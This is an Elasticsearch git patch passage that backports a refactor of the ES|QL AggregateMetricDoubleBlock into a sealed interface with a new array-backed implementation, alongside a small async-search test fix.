-  issue: https://github.com/elastic/elasticsearch/issues/127096
 - class: org.elasticsearch.xpack.ccr.action.ShardFollowTaskReplicationTests
   method: testChangeFollowerHistoryUUID
   issue: https://github.com/elastic/elasticsearch/issues/127680
diff --git a/x-pack/plugin/async-search/src/internalClusterTest/java/org/elasticsearch/xpack/search/CrossClusterAsyncSearchIT.java b/x-pack/plugin/async-search/src/internalClusterTest/java/org/elasticsearch/xpack/search/CrossClusterAsyncSearchIT.java
index d951b21ba1380..7cc43d43c6ff5 100644
--- a/x-pack/plugin/async-search/src/internalClusterTest/java/org/elasticsearch/xpack/search/CrossClusterAsyncSearchIT.java
+++ b/x-pack/plugin/async-search/src/internalClusterTest/java/org/elasticsearch/xpack/search/CrossClusterAsyncSearchIT.java
@@ -1778,6 +1778,7 @@ public void testCancellationViaTimeoutWithAllowPartialResultsSetToFalse() throws
         }
 
         SearchListenerPlugin.waitLocalSearchStarted();
+        SearchListenerPlugin.waitRemoteSearchStarted();
 
         // ensure tasks are present on both clusters and not cancelled
         try {

From c612df6ac97c42b9eb533b47a13ff2b24f91f8c4 Mon Sep 17 00:00:00 2001
From: Larisa Motova <larisa.motova@elastic.co>
Date: Fri, 25 Jul 2025 18:25:54 -1000
Subject: [PATCH 240/299] Manual backport of #131658 (#131954)

---
 docs/changelog/131658.yaml                    |   5 +
 .../data/AggregateMetricDoubleArrayBlock.java | 292 ++++++++++++++++
 .../data/AggregateMetricDoubleBlock.java      | 329 ++++--------------
 .../AggregateMetricDoubleBlockBuilder.java    |  16 +-
 .../org/elasticsearch/compute/data/Block.java |   4 +-
 .../compute/data/BlockFactory.java            |   2 +-
 .../compute/data/ConstantNullBlock.java       |  28 +-
 .../compute/data/ElementType.java             |   2 +-
 ...ResultBuilderForAggregateMetricDouble.java |   7 +-
 ...alueExtractorForAggregateMetricDouble.java |   1 +
 ...gregateMetricDoubleBlockEqualityTests.java |  89 +++++
 .../compute/operator/topn/ExtractorTests.java |  39 ++-
 .../xpack/esql/action/EsqlCapabilities.java   |  55 ++-
 .../convert/ToAggregateMetricDouble.java      |   8 +-
 .../rest-api-spec/test/esql/46_downsample.yml | 108 ++++++
 15 files changed, 687 insertions(+), 298 deletions(-)
 create mode 100644 docs/changelog/131658.yaml
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleArrayBlock.java
 create mode 100644 x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockEqualityTests.java

diff --git a/docs/changelog/131658.yaml b/docs/changelog/131658.yaml
new file mode 100644
index 0000000000000..da40694687fe7
--- /dev/null
+++ b/docs/changelog/131658.yaml
@@ -0,0 +1,5 @@
+pr: 131658
+summary: Fix `aggregate_metric_double` sorting and `mv_expand` issues
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleArrayBlock.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleArrayBlock.java
new file mode 100644
index 0000000000000..b2d5ee0b710d5
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleArrayBlock.java
@@ -0,0 +1,292 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.data;
+
+import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.common.unit.ByteSizeValue;
+import org.elasticsearch.core.ReleasableIterator;
+import org.elasticsearch.core.Releasables;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.stream.Stream;
+
+public final class AggregateMetricDoubleArrayBlock extends AbstractNonThreadSafeRefCounted implements AggregateMetricDoubleBlock {
+    private final DoubleBlock minBlock;
+    private final DoubleBlock maxBlock;
+    private final DoubleBlock sumBlock;
+    private final IntBlock countBlock;
+    private final int positionCount;
+
+    public AggregateMetricDoubleArrayBlock(DoubleBlock minBlock, DoubleBlock maxBlock, DoubleBlock sumBlock, IntBlock countBlock) {
+        this.minBlock = minBlock;
+        this.maxBlock = maxBlock;
+        this.sumBlock = sumBlock;
+        this.countBlock = countBlock;
+        this.positionCount = minBlock.getPositionCount();
+        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            if (b.getPositionCount() != positionCount) {
+                assert false : "expected positionCount=" + positionCount + " but was " + b;
+                throw new IllegalArgumentException("expected positionCount=" + positionCount + " but was " + b);
+            }
+            if (b.isReleased()) {
+                assert false : "can't build aggregate_metric_double block out of released blocks but [" + b + "] was released";
+                throw new IllegalArgumentException(
+                    "can't build aggregate_metric_double block out of released blocks but [" + b + "] was released"
+                );
+            }
+        }
+    }
+
+    public static AggregateMetricDoubleArrayBlock fromCompositeBlock(CompositeBlock block) {
+        assert block.getBlockCount() == 4
+            : "Can't make AggregateMetricDoubleBlock out of CompositeBlock with " + block.getBlockCount() + " blocks";
+        DoubleBlock min = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex());
+        DoubleBlock max = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex());
+        DoubleBlock sum = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex());
+        IntBlock count = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex());
+        return new AggregateMetricDoubleArrayBlock(min, max, sum, count);
+    }
+
+    public CompositeBlock asCompositeBlock() {
+        final Block[] blocks = new Block[4];
+        blocks[AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex()] = minBlock;
+        blocks[AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex()] = maxBlock;
+        blocks[AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex()] = sumBlock;
+        blocks[AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex()] = countBlock;
+        return new CompositeBlock(blocks);
+    }
+
+    @Override
+    protected void closeInternal() {
+        Releasables.close(minBlock, maxBlock, sumBlock, countBlock);
+    }
+
+    @Override
+    public Vector asVector() {
+        return null;
+    }
+
+    @Override
+    public int getTotalValueCount() {
+        int totalValueCount = 0;
+        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            totalValueCount += b.getTotalValueCount();
+        }
+        return totalValueCount;
+    }
+
+    @Override
+    public int getPositionCount() {
+        return positionCount;
+    }
+
+    @Override
+    public int getFirstValueIndex(int position) {
+        return minBlock.getFirstValueIndex(position);
+    }
+
+    @Override
+    public int getValueCount(int position) {
+        int max = 0;
+        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            max = Math.max(max, b.getValueCount(position));
+        }
+        return max;
+    }
+
+    @Override
+    public ElementType elementType() {
+        return ElementType.AGGREGATE_METRIC_DOUBLE;
+    }
+
+    @Override
+    public BlockFactory blockFactory() {
+        return minBlock.blockFactory();
+    }
+
+    @Override
+    public void allowPassingToDifferentDriver() {
+        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            block.allowPassingToDifferentDriver();
+        }
+    }
+
+    @Override
+    public boolean isNull(int position) {
+        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            if (block.isNull(position) == false) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public boolean mayHaveNulls() {
+        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::mayHaveNulls);
+    }
+
+    @Override
+    public boolean areAllValuesNull() {
+        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).allMatch(Block::areAllValuesNull);
+    }
+
+    @Override
+    public boolean mayHaveMultivaluedFields() {
+        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::mayHaveMultivaluedFields);
+    }
+
+    @Override
+    public boolean doesHaveMultivaluedFields() {
+        if (Stream.of(minBlock, maxBlock, sumBlock, countBlock).noneMatch(Block::mayHaveMultivaluedFields)) {
+            return false;
+        }
+        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::doesHaveMultivaluedFields);
+    }
+
+    @Override
+    public AggregateMetricDoubleBlock filter(int... positions) {
+        AggregateMetricDoubleArrayBlock result = null;
+        DoubleBlock newMinBlock = null;
+        DoubleBlock newMaxBlock = null;
+        DoubleBlock newSumBlock = null;
+        IntBlock newCountBlock = null;
+        try {
+            newMinBlock = minBlock.filter(positions);
+            newMaxBlock = maxBlock.filter(positions);
+            newSumBlock = sumBlock.filter(positions);
+            newCountBlock = countBlock.filter(positions);
+            result = new AggregateMetricDoubleArrayBlock(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
+            return result;
+        } finally {
+            if (result == null) {
+                Releasables.close(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
+            }
+        }
+    }
+
+    @Override
+    public AggregateMetricDoubleBlock keepMask(BooleanVector mask) {
+        AggregateMetricDoubleArrayBlock result = null;
+        DoubleBlock newMinBlock = null;
+        DoubleBlock newMaxBlock = null;
+        DoubleBlock newSumBlock = null;
+        IntBlock newCountBlock = null;
+        try {
+            newMinBlock = minBlock.keepMask(mask);
+            newMaxBlock = maxBlock.keepMask(mask);
+            newSumBlock = sumBlock.keepMask(mask);
+            newCountBlock = countBlock.keepMask(mask);
+            result = new AggregateMetricDoubleArrayBlock(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
+            return result;
+        } finally {
+            if (result == null) {
+                Releasables.close(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
+            }
+        }
+    }
+
+    @Override
+    public ReleasableIterator<? extends AggregateMetricDoubleBlock> lookup(IntBlock positions, ByteSizeValue targetBlockSize) {
+        // TODO: support
+        throw new UnsupportedOperationException("can't lookup values from AggregateMetricDoubleBlock");
+    }
+
+    @Override
+    public MvOrdering mvOrdering() {
+        // TODO: determine based on sub-blocks
+        return MvOrdering.UNORDERED;
+    }
+
+    @Override
+    public AggregateMetricDoubleBlock expand() {
+        this.incRef();
+        return this;
+    }
+
+    @Override
+    public void writeTo(StreamOutput out) throws IOException {
+        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
+            block.writeTo(out);
+        }
+    }
+
+    public static Block readFrom(StreamInput in) throws IOException {
+        boolean success = false;
+        DoubleBlock minBlock = null;
+        DoubleBlock maxBlock = null;
+        DoubleBlock sumBlock = null;
+        IntBlock countBlock = null;
+        BlockStreamInput blockStreamInput = (BlockStreamInput) in;
+        try {
+            minBlock = DoubleBlock.readFrom(blockStreamInput);
+            maxBlock = DoubleBlock.readFrom(blockStreamInput);
+            sumBlock = DoubleBlock.readFrom(blockStreamInput);
+            countBlock = IntBlock.readFrom(blockStreamInput);
+            AggregateMetricDoubleArrayBlock result = new AggregateMetricDoubleArrayBlock(minBlock, maxBlock, sumBlock, countBlock);
+            success = true;
+            return result;
+        } finally {
+            if (success == false) {
+                Releasables.close(minBlock, maxBlock, sumBlock, countBlock);
+            }
+        }
+    }
+
+    @Override
+    public long ramBytesUsed() {
+        return minBlock.ramBytesUsed() + maxBlock.ramBytesUsed() + sumBlock.ramBytesUsed() + countBlock.ramBytesUsed();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj instanceof AggregateMetricDoubleBlock that) {
+            return AggregateMetricDoubleBlock.equals(this, that);
+        }
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        return AggregateMetricDoubleBlock.hash(this);
+    }
+
+    public DoubleBlock minBlock() {
+        return minBlock;
+    }
+
+    public DoubleBlock maxBlock() {
+        return maxBlock;
+    }
+
+    public DoubleBlock sumBlock() {
+        return sumBlock;
+    }
+
+    public IntBlock countBlock() {
+        return countBlock;
+    }
+
+    public Block getMetricBlock(int index) {
+        if (index == AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex()) {
+            return minBlock;
+        }
+        if (index == AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex()) {
+            return maxBlock;
+        }
+        if (index == AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex()) {
+            return sumBlock;
+        }
+        if (index == AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex()) {
+            return countBlock;
+        }
+        throw new UnsupportedOperationException("Received an index (" + index + ") outside of range for AggregateMetricDoubleBlock.");
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlock.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlock.java
index 600b149b4a6c4..9a2736b16e15c 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlock.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlock.java
@@ -7,297 +7,102 @@
 
 package org.elasticsearch.compute.data;
 
-import org.elasticsearch.common.io.stream.StreamInput;
-import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.core.ReleasableIterator;
-import org.elasticsearch.core.Releasables;
 
-import java.io.IOException;
 import java.util.List;
-import java.util.Objects;
-import java.util.stream.Stream;
 
-public final class AggregateMetricDoubleBlock extends AbstractNonThreadSafeRefCounted implements Block {
-    private final DoubleBlock minBlock;
-    private final DoubleBlock maxBlock;
-    private final DoubleBlock sumBlock;
-    private final IntBlock countBlock;
-    private final int positionCount;
-
-    public AggregateMetricDoubleBlock(DoubleBlock minBlock, DoubleBlock maxBlock, DoubleBlock sumBlock, IntBlock countBlock) {
-        this.minBlock = minBlock;
-        this.maxBlock = maxBlock;
-        this.sumBlock = sumBlock;
-        this.countBlock = countBlock;
-        this.positionCount = minBlock.getPositionCount();
-        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            if (b.getPositionCount() != positionCount) {
-                assert false : "expected positionCount=" + positionCount + " but was " + b;
-                throw new IllegalArgumentException("expected positionCount=" + positionCount + " but was " + b);
-            }
-            if (b.isReleased()) {
-                assert false : "can't build aggregate_metric_double block out of released blocks but [" + b + "] was released";
-                throw new IllegalArgumentException(
-                    "can't build aggregate_metric_double block out of released blocks but [" + b + "] was released"
-                );
-            }
-        }
-    }
-
-    public static AggregateMetricDoubleBlock fromCompositeBlock(CompositeBlock block) {
-        assert block.getBlockCount() == 4
-            : "Can't make AggregateMetricDoubleBlock out of CompositeBlock with " + block.getBlockCount() + " blocks";
-        DoubleBlock min = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex());
-        DoubleBlock max = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex());
-        DoubleBlock sum = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex());
-        IntBlock count = block.getBlock(AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex());
-        return new AggregateMetricDoubleBlock(min, max, sum, count);
-    }
-
-    public CompositeBlock asCompositeBlock() {
-        final Block[] blocks = new Block[4];
-        blocks[AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex()] = minBlock;
-        blocks[AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex()] = maxBlock;
-        blocks[AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex()] = sumBlock;
-        blocks[AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex()] = countBlock;
-        return new CompositeBlock(blocks);
-    }
-
-    @Override
-    protected void closeInternal() {
-        Releasables.close(minBlock, maxBlock, sumBlock, countBlock);
-    }
+/**
+ * Block that stores aggregate_metric_double values.
+ */
+public sealed interface AggregateMetricDoubleBlock extends Block permits AggregateMetricDoubleArrayBlock, ConstantNullBlock {
 
     @Override
-    public Vector asVector() {
-        return null;
-    }
+    AggregateMetricDoubleBlock filter(int... positions);
 
     @Override
-    public int getTotalValueCount() {
-        int totalValueCount = 0;
-        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            totalValueCount += b.getTotalValueCount();
-        }
-        return totalValueCount;
-    }
+    AggregateMetricDoubleBlock keepMask(BooleanVector mask);
 
     @Override
-    public int getPositionCount() {
-        return positionCount;
-    }
+    ReleasableIterator<? extends AggregateMetricDoubleBlock> lookup(IntBlock positions, ByteSizeValue targetBlockSize);
 
     @Override
-    public int getFirstValueIndex(int position) {
-        return minBlock.getFirstValueIndex(position);
-    }
+    AggregateMetricDoubleBlock expand();
 
+    /**
+     * Compares the given object with this block for equality. Returns {@code true} if and only if the
+     * given object is a AggregateMetricDoubleBlock, and both blocks are
+     * {@link #equals(AggregateMetricDoubleBlock, AggregateMetricDoubleBlock) equal}.
+     */
     @Override
-    public int getValueCount(int position) {
-        int max = 0;
-        for (Block b : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            max = Math.max(max, b.getValueCount(position));
-        }
-        return max;
-    }
+    boolean equals(Object obj);
 
+    /** Returns the hash code of this block, as defined by {@link #hash(AggregateMetricDoubleBlock)}. */
     @Override
-    public ElementType elementType() {
-        return ElementType.AGGREGATE_METRIC_DOUBLE;
-    }
+    int hashCode();
 
-    @Override
-    public BlockFactory blockFactory() {
-        return minBlock.blockFactory();
-    }
-
-    @Override
-    public void allowPassingToDifferentDriver() {
-        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            block.allowPassingToDifferentDriver();
+    /**
+     * Returns {@code true} if the given blocks are equal to each other, otherwise {@code false}.
+     * Two blocks are considered equal if they have the same position count, and contain the same
+     * values (including absent null values) in the same order. This definition ensures that the
+     * equals method works properly across different implementations of the AggregateMetricDoubleBlock interface.
+     */
+    static boolean equals(AggregateMetricDoubleBlock block1, AggregateMetricDoubleBlock block2) {
+        if (block1 == block2) {
+            return true;
         }
-    }
-
-    @Override
-    public boolean isNull(int position) {
-        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            if (block.isNull(position) == false) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    @Override
-    public boolean mayHaveNulls() {
-        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::mayHaveNulls);
-    }
-
-    @Override
-    public boolean areAllValuesNull() {
-        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).allMatch(Block::areAllValuesNull);
-    }
-
-    @Override
-    public boolean mayHaveMultivaluedFields() {
-        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::mayHaveMultivaluedFields);
-    }
-
-    @Override
-    public boolean doesHaveMultivaluedFields() {
-        if (Stream.of(minBlock, maxBlock, sumBlock, countBlock).noneMatch(Block::mayHaveMultivaluedFields)) {
+        final int positions = block1.getPositionCount();
+        if (positions != block2.getPositionCount()) {
             return false;
         }
-        return Stream.of(minBlock, maxBlock, sumBlock, countBlock).anyMatch(Block::doesHaveMultivaluedFields);
-    }
-
-    @Override
-    public Block filter(int... positions) {
-        AggregateMetricDoubleBlock result = null;
-        DoubleBlock newMinBlock = null;
-        DoubleBlock newMaxBlock = null;
-        DoubleBlock newSumBlock = null;
-        IntBlock newCountBlock = null;
-        try {
-            newMinBlock = minBlock.filter(positions);
-            newMaxBlock = maxBlock.filter(positions);
-            newSumBlock = sumBlock.filter(positions);
-            newCountBlock = countBlock.filter(positions);
-            result = new AggregateMetricDoubleBlock(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
-            return result;
-        } finally {
-            if (result == null) {
-                Releasables.close(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
-            }
-        }
-    }
-
-    @Override
-    public Block keepMask(BooleanVector mask) {
-        AggregateMetricDoubleBlock result = null;
-        DoubleBlock newMinBlock = null;
-        DoubleBlock newMaxBlock = null;
-        DoubleBlock newSumBlock = null;
-        IntBlock newCountBlock = null;
-        try {
-            newMinBlock = minBlock.keepMask(mask);
-            newMaxBlock = maxBlock.keepMask(mask);
-            newSumBlock = sumBlock.keepMask(mask);
-            newCountBlock = countBlock.keepMask(mask);
-            result = new AggregateMetricDoubleBlock(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
-            return result;
-        } finally {
-            if (result == null) {
-                Releasables.close(newMinBlock, newMaxBlock, newSumBlock, newCountBlock);
+        for (var doubleMetric : List.of(
+            AggregateMetricDoubleBlockBuilder.Metric.MIN,
+            AggregateMetricDoubleBlockBuilder.Metric.MAX,
+            AggregateMetricDoubleBlockBuilder.Metric.SUM
+        )) {
+            DoubleBlock doubleBlock1 = (DoubleBlock) block1.getMetricBlock(doubleMetric.getIndex());
+            DoubleBlock doubleBlock2 = (DoubleBlock) block2.getMetricBlock(doubleMetric.getIndex());
+            if (DoubleBlock.equals(doubleBlock1, doubleBlock2) == false) {
+                return false;
             }
         }
-    }
-
-    @Override
-    public ReleasableIterator<? extends Block> lookup(IntBlock positions, ByteSizeValue targetBlockSize) {
-        // TODO: support
-        throw new UnsupportedOperationException("can't lookup values from AggregateMetricDoubleBlock");
-    }
-
-    @Override
-    public MvOrdering mvOrdering() {
-        // TODO: determine based on sub-blocks
-        return MvOrdering.UNORDERED;
-    }
-
-    @Override
-    public Block expand() {
-        // TODO: support
-        throw new UnsupportedOperationException("AggregateMetricDoubleBlock");
-    }
-
-    @Override
-    public void writeTo(StreamOutput out) throws IOException {
-        for (Block block : List.of(minBlock, maxBlock, sumBlock, countBlock)) {
-            block.writeTo(out);
-        }
-    }
-
-    public static Block readFrom(StreamInput in) throws IOException {
-        boolean success = false;
-        DoubleBlock minBlock = null;
-        DoubleBlock maxBlock = null;
-        DoubleBlock sumBlock = null;
-        IntBlock countBlock = null;
-        BlockStreamInput blockStreamInput = (BlockStreamInput) in;
-        try {
-            minBlock = DoubleBlock.readFrom(blockStreamInput);
-            maxBlock = DoubleBlock.readFrom(blockStreamInput);
-            sumBlock = DoubleBlock.readFrom(blockStreamInput);
-            countBlock = IntBlock.readFrom(blockStreamInput);
-            AggregateMetricDoubleBlock result = new AggregateMetricDoubleBlock(minBlock, maxBlock, sumBlock, countBlock);
-            success = true;
-            return result;
-        } finally {
-            if (success == false) {
-                Releasables.close(minBlock, maxBlock, sumBlock, countBlock);
+        IntBlock intBlock1 = block1.countBlock();
+        IntBlock intBlock2 = block2.countBlock();
+        return IntBlock.equals(intBlock1, intBlock2);
+    }
+
+    static int hash(AggregateMetricDoubleBlock block) {
+        final int positions = block.getPositionCount();
+        int result = 1;
+        for (int pos = 0; pos < positions; pos++) {
+            if (block.isNull(pos)) {
+                result = 31 * result - 1;
+            } else {
+                final int valueCount = block.getValueCount(pos);
+                result = 31 * result + valueCount;
+                final int firstValueIdx = block.getFirstValueIndex(pos);
+                for (int valueIndex = 0; valueIndex < valueCount; valueIndex++) {
+                    for (DoubleBlock b : List.of(block.minBlock(), block.maxBlock(), block.sumBlock())) {
+                        result *= 31;
+                        result += b.isNull(firstValueIdx + valueIndex) ? -1 : Double.hashCode(b.getDouble(firstValueIdx + valueIndex));
+                    }
+                    result *= 31;
+                    result += block.countBlock().isNull(firstValueIdx + valueIndex)
+                        ? -1
+                        : block.countBlock().getInt(firstValueIdx + valueIndex);
+                }
             }
         }
+        return result;
     }
 
-    @Override
-    public long ramBytesUsed() {
-        return minBlock.ramBytesUsed() + maxBlock.ramBytesUsed() + sumBlock.ramBytesUsed() + countBlock.ramBytesUsed();
-    }
+    DoubleBlock minBlock();
 
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) return true;
-        if (o == null || getClass() != o.getClass()) return false;
-        AggregateMetricDoubleBlock that = (AggregateMetricDoubleBlock) o;
-        return positionCount == that.positionCount
-            && minBlock.equals(that.minBlock)
-            && maxBlock.equals(that.maxBlock)
-            && sumBlock.equals(that.sumBlock)
-            && countBlock.equals(that.countBlock);
-    }
+    DoubleBlock maxBlock();
 
-    @Override
-    public int hashCode() {
-        return Objects.hash(
-            DoubleBlock.hash(minBlock),
-            DoubleBlock.hash(maxBlock),
-            DoubleBlock.hash(sumBlock),
-            IntBlock.hash(countBlock),
-            positionCount
-        );
-    }
+    DoubleBlock sumBlock();
 
-    public DoubleBlock minBlock() {
-        return minBlock;
-    }
+    IntBlock countBlock();
 
-    public DoubleBlock maxBlock() {
-        return maxBlock;
-    }
-
-    public DoubleBlock sumBlock() {
-        return sumBlock;
-    }
-
-    public IntBlock countBlock() {
-        return countBlock;
-    }
-
-    public Block getMetricBlock(int index) {
-        if (index == AggregateMetricDoubleBlockBuilder.Metric.MIN.getIndex()) {
-            return minBlock;
-        }
-        if (index == AggregateMetricDoubleBlockBuilder.Metric.MAX.getIndex()) {
-            return maxBlock;
-        }
-        if (index == AggregateMetricDoubleBlockBuilder.Metric.SUM.getIndex()) {
-            return sumBlock;
-        }
-        if (index == AggregateMetricDoubleBlockBuilder.Metric.COUNT.getIndex()) {
-            return countBlock;
-        }
-        throw new UnsupportedOperationException("Received an index (" + index + ") outside of range for AggregateMetricDoubleBlock.");
-    }
+    Block getMetricBlock(int index);
 }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockBuilder.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockBuilder.java
index 90e57d87fcd0c..3d1564d93af56 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockBuilder.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockBuilder.java
@@ -59,7 +59,7 @@ protected int elementSize() {
     }
 
     @Override
-    public Block.Builder copyFrom(Block b, int beginInclusive, int endExclusive) {
+    public AggregateMetricDoubleBlockBuilder copyFrom(Block b, int beginInclusive, int endExclusive) {
         Block minBlock;
         Block maxBlock;
         Block sumBlock;
@@ -84,7 +84,7 @@ public Block.Builder copyFrom(Block b, int beginInclusive, int endExclusive) {
     }
 
     @Override
-    public AbstractBlockBuilder appendNull() {
+    public AggregateMetricDoubleBlockBuilder appendNull() {
         minBuilder.appendNull();
         maxBuilder.appendNull();
         sumBuilder.appendNull();
@@ -93,7 +93,7 @@ public AbstractBlockBuilder appendNull() {
     }
 
     @Override
-    public Block.Builder mvOrdering(Block.MvOrdering mvOrdering) {
+    public AggregateMetricDoubleBlockBuilder mvOrdering(Block.MvOrdering mvOrdering) {
         minBuilder.mvOrdering(mvOrdering);
         maxBuilder.mvOrdering(mvOrdering);
         sumBuilder.mvOrdering(mvOrdering);
@@ -102,7 +102,7 @@ public Block.Builder mvOrdering(Block.MvOrdering mvOrdering) {
     }
 
     @Override
-    public Block build() {
+    public AggregateMetricDoubleBlock build() {
         DoubleBlock minBlock = null;
         DoubleBlock maxBlock = null;
         DoubleBlock sumBlock = null;
@@ -114,7 +114,7 @@ public Block build() {
             maxBlock = maxBuilder.build();
             sumBlock = sumBuilder.build();
             countBlock = countBuilder.build();
-            AggregateMetricDoubleBlock block = new AggregateMetricDoubleBlock(minBlock, maxBlock, sumBlock, countBlock);
+            AggregateMetricDoubleBlock block = new AggregateMetricDoubleArrayBlock(minBlock, maxBlock, sumBlock, countBlock);
             success = true;
             return block;
         } finally {
@@ -174,9 +174,9 @@ public String getLabel() {
 
     public record AggregateMetricDoubleLiteral(Double min, Double max, Double sum, Integer count) implements GenericNamedWriteable {
         public AggregateMetricDoubleLiteral {
-            min = min.isNaN() ? null : min;
-            max = max.isNaN() ? null : max;
-            sum = sum.isNaN() ? null : sum;
+            min = (min == null || min.isNaN()) ? null : min;
+            max = (max == null || max.isNaN()) ? null : max;
+            sum = (sum == null || sum.isNaN()) ? null : sum;
         }
 
         public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/Block.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/Block.java
index bc8b31bc565df..c05d54d4e3c96 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/Block.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/Block.java
@@ -345,7 +345,7 @@ static Block[] buildAll(Block.Builder... builders) {
      * This should be paired with {@link #readTypedBlock(BlockStreamInput)}
      */
     static void writeTypedBlock(Block block, StreamOutput out) throws IOException {
-        if (false == supportsAggregateMetricDoubleBlock(out.getTransportVersion()) && block instanceof AggregateMetricDoubleBlock a) {
+        if (false == supportsAggregateMetricDoubleBlock(out.getTransportVersion()) && block instanceof AggregateMetricDoubleArrayBlock a) {
             block = a.asCompositeBlock();
         }
         block.elementType().writeTo(out);
@@ -360,7 +360,7 @@ static Block readTypedBlock(BlockStreamInput in) throws IOException {
         ElementType elementType = ElementType.readFrom(in);
         Block block = elementType.reader.readBlock(in);
         if (false == supportsAggregateMetricDoubleBlock(in.getTransportVersion()) && block instanceof CompositeBlock compositeBlock) {
-            block = AggregateMetricDoubleBlock.fromCompositeBlock(compositeBlock);
+            block = AggregateMetricDoubleArrayBlock.fromCompositeBlock(compositeBlock);
         }
         return block;
     }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/BlockFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/BlockFactory.java
index 55053f509591d..9e730004ab9f9 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/BlockFactory.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/BlockFactory.java
@@ -436,7 +436,7 @@ public AggregateMetricDoubleBlockBuilder newAggregateMetricDoubleBlockBuilder(in
         return new AggregateMetricDoubleBlockBuilder(estimatedSize, this);
     }
 
